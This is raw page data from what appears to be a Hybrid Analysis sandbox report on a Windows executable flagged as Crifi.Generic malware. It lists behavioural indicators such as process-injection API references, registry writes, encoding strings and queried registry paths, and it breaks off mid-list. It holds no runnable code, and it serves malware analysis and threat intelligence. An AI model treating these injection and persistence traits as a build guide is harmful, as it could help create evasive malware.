26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] bf:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4bb,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Crifi.Generic Sample 63c9960011fa… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 63c9960011fa…. Malware family: Crifi.Generic. Threat score 100/100. 7/27 AV engines flagged this file. 23 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71","keywords":["Malicious","Crifi.Generic","malware analysis","sandbox report","threat intelligence","63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71"],"about":{"@type":"SoftwareApplication","name":"63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin","applicationCategory":["peexe","executable"],"identifier":"63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Crifi.Generic","antivirusDetections":{"malicious":7,"total":27},"behavioralIndicators":{"malicious":23,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T15ac,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "ZwMapViewOfSection" (Indicator: "ZwMapViewOfSection"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "ZwMapViewOfSection" (Indicator: "ZwMapViewOfSection"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "tCreateThread" (Indicator: "CreateThread"; Source: "00000000-00003336.00000000.253660.D7E20000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp, 00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp, 00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp, 00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp")28:T15f9,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetThreadContextSetThreadContextGetModuleHandleAGetModuleHandleW" (Indicator: "SetThreadContext"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "GetThreadContextSetThreadContextGetModuleHandleAGetModuleHandleW" (Indicator: "GetThreadContext"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp")29:T4eb,"" (Indicator: "RegSetValue"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "internal/syscall/windows/registry.procRegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp")2e:T13ff,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "systemhelper.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "systemhelper.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found string "ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "00000000-00007500.00000001.251493.23F81000.00000040.mdmp") Found string "ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "00000000-00007500.00000001.251493.23F81000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp")2f:T611,file/memory contains long string with (Indicator: "CryptoStream"; File: "QKTi8Lo_1_.exe") file/memory contains long string with (Indicator: "DESCryptoServiceProvider"; File: "QKTi8Lo_1_.exe") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "QKTi8Lo_1_.exe") file/memory contains long string with (Indicator: "TripleDES"; File: "QKTi8Lo_1_.exe") file/memory contains long string with (Indicator: "TripleDESCryptoServiceProvider"; File: "QKTi8Lo_1_.exe") file/memory contains long string with (Indicator: "Aes"; File: "eNLe4nm_1_.exe") file/memory contains long string with (Indicator: "HMAC"; File: "crx2wvez.lf5") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00007724-00000BC0-2865887991") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "Aes"; File: "AMSI") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "AMSI") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00000528.00000001.252412.83280000.00000004.mdmp") Found reference to "runtime.useAeshash" (Indicator: "Aes"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to "SHA512 block transform for x86_64, CRYPTOGAMS by " (Indicator: "SHA512"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00004592.00000001.250667.B6140000.00000004.mdmp")30:T13c3,"systemhelper.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.MICROSOFTEDGE_41.16299.248.0_NEUTRAL__8WEKYB3D8BBWE\MICROSOFTEDGE\CAPABILITIES\FILEASSOCIATIONS") "systemhelper.exe" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.MICROSOFTEDGE_41.16299.248.0_NEUTRAL__8WEKYB3D8BBWE\MICROSOFTEDGE\CAPABILITIES\FILEASSOCIATIONS") "systemhelper.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.CORTANA_1.9.6.16299_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\CORTANAUI\CAPABILITIES") "systemhelper.exe" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.CORTANA_1.9.6.16299_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\CORTANAUI\CAPABILITIES") "systemhelper.exe" (Access type: "QUERY"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.CORTANA_1.9.6.16299_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\CORTANAUI\CAPABILITIES") "systemhelper.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.CORTANA_1.9.6.16299_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\CORTANAUI\CAPABILITIES\FILEASSOCIATIONS") "systemhelper.exe" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.CORTANA_1.9.6.16299_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\CORTANAUI\CAPABILITIES\FILEASSOCIATIONS") "systemhelper.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.SECHEALTHUI_10.0.16299.248_NEUTRAL__CW5N1H2TXYEWY\SECHEALTHUI\CAPABILITIES") "systemhelper.exe" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.SECHEALTHUI_10.0.16299.248_NEUTRAL__CW5N1H2TXYEWY\SECHEALTHUI\CAPABILITIES") "systemhelper.exe" (Access type: "QUERY"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.SECHEALTHUI_10.0.16299.248_NEUTRAL__CW5N1H2TXYEWY\SECHEALTHUI\CAPABILITIES") "systemhelper.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.SECHEALTHUI_10.0.16299.248_NEUTRAL__CW5N1H2TXYEWY\SECHEALTHUI\CAPABILITIES\FILEASSOCIATIONS") "systemhelper.exe" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.SECHEALTHUI_10.0.16299.248_NEUTRAL__CW5N1H2TXYEWY\SECHEALTHUI\CAPABILITIES\FILEASSOCIATIONS") "systemhelper.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.HOLOGRAPHICFIRSTRUN_10.0.16299.125_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\APP\CAPABILITIES") "systemhelper.exe" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.HOLOGRAPHICFIRSTRUN_10.0.16299.125_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\APP\CAPABILITIES") "systemhelper.exe" (Access type: "QUERY"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.HOLOGRAPHICFIRSTRUN_10.0.16299.125_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\APP\CAPABILITIES") "systemhelper.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.HOLOGRAPHICFIRSTRUN_10.0.16299.125_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\APP\CAPABILITIES\FILEASSOCIATIONS") "systemhelper.exe" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\MICROSOFT.WINDOWS.HOLOGRAPHICFIRSTRUN_10.0.16299.125_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\APP\CAPABILITIES\FILEASSOCIATIONS") "systemhelper.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL 